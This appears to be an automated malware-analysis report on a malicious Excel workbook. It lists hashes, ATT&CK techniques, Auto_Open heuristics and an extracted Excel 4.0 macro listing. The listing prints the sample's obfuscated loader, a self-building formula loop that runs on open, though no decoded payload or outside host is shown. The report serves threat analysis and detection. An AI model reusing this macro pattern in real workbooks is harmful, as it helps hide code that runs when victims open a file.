Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cfef3da9cc9d163d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:31:34 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: bac0187dbf920de15b5afd79594ee5d8 SHA-1: 65bcab759cae688ada9251adbc9c3d7fc048dce1 SHA-256: cfef3da9cc9d163dd7a7890bf1cdb2d72d62ff0c53d69de4a3f7372a640d3d92
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical indicator of malicious activity. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary code. Without further deobfuscation or network activity, the exact payload and family remain unknown.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6435 bytes
SHA-256: 419da5b15d1fa401181d3b17b41d7da615301585cf61242d985d1a0323325c32
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  DLArI
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A149 
' 0018     20 LABEL : Cell Value, String Constant - bHHSx len=0 
' 0018     21 LABEL : Cell Value, String Constant - CDuhUs len=0 
' 0018     21 LABEL : Cell Value, String Constant - CHDySj len=0 
' 0018     24 LABEL : Cell Value, String Constant - cITDyUPAi len=0 
' 0018     20 LABEL : Cell Value, String Constant - cNbrU len=0 
' 0018     25 LABEL : Cell Value, String Constant - CQHBfufqBX len=0 
' 0018     24 LABEL : Cell Value, String Constant - dElYoriYa len=0 
' 0018     25 LABEL : Cell Value, String Constant - DGjGyVfljS len=0 
' 0018     27 LABEL : Cell Value, String Constant - FbTbtVOSDmxd len=0 
' 0018     23 LABEL : Cell Value, String Constant - FLzHxsNV len=0 
' 0018     21 LABEL : Cell Value, String Constant - jLJNJM len=0 
' 0018     20 LABEL : Cell Value, String Constant - jXlYn len=0 
' 0018     21 LABEL : Cell Value, String Constant - lwoSLF len=0 
' 0018     23 LABEL : Cell Value, String Constant - minUboGM len=0 
' 0018     27 LABEL : Cell Value, String Constant - NnGzULRGmGLB len=0 
' 0018     21 LABEL : Cell Value, String Constant - OdyziH len=0 
' 0018     25 LABEL : Cell Value, String Constant - RAhTNUnHjS len=0 
' 0018     25 LABEL : Cell Value, String Constant - rrwsvIddMn len=0 
' 0018     25 LABEL : Cell Value, String Constant - YdSwuWUGWv len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZCmuVzaPczP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  DLArI,A61,"SET.NAME("minUboGM",VALUE("0"))",""
'  DLArI,A63,"SET.NAME("ZCmuVzaPczP",minUboGM)",""
'  DLArI,A66,"SET.NAME("jLJNJM",minUboGM)",""
'  DLArI,A69,"SET.NAME("lwoSLF",COUNTA(RAhTNUnHjS))",""
'  DLArI,A71,"SET.NAME("cNbrU",COUNTA(YdSwuWUGWv))",""
'  DLArI,A75,[],""
'  DLArI,A78,"SET.NAME("DGjGyVfljS","")",""
'  DLArI,A83,"ZCmuVzaPczP",""
'  DLArI,A85,"SET.NAME("dElYoriYa",HLOOKUP("*",RAhTNUnHjS,ZCmuVzaPczP,FALSE))",""
'  DLArI,A88,"FLzHxsNV",""
'  DLArI,A91,"SET.NAME("rrwsvIddMn",minUboGM)",""
'  DLArI,A94,[],""
'  DLArI,A99,"rrwsvIddMn",""
'  DLArI,A104,"CQHBfufqBX",""
'  DLArI,A109,"jXlYn",""
'  DLArI,A114,"OdyziH",""
'  DLArI,A118,"SET.NAME("CDuhUs",VALUE(HLOOKUP("*",YdSwuWUGWv,OdyziH,FALSE)))",""
'  DLArI,A121,"bHHSx",""
'  DLArI,A125,"DGjGyVfljS",""
'  DLArI,A128,"jLJNJM",""
'  DLArI,A131,NEXT(),""
'  DLArI,A136,"CHDySj",""
'  DLArI,A138,"SET.NAME("f",INT(T(FORMULA(T(DGjGyVfljS)&"",""&T(CHDySj)))))",""
'  DLArI,A140,"cITDyUPAi",""
'  DLArI,A142,NEXT(),""
'  DLArI,A147,RETURN(),""
'  DLArI,A169,"SET.NAME("NnGzULRGmGLB",A61)",""
'  DLArI,A174,"RAhTNUnHjS",""
'  DLArI,A176,"SET.NAME("YdSwuWUGWv",R55C12)",""
'  DLArI,A180,"SET.NAME("cITDyUPAi",189)",""
'  DLArI,A183,"SET.NAME("FbTbtVOSDmxd",1)",""
'  DLArI,A188,NnGzULRGmGLB(),""
'  DLArI,A189,HALT(),""

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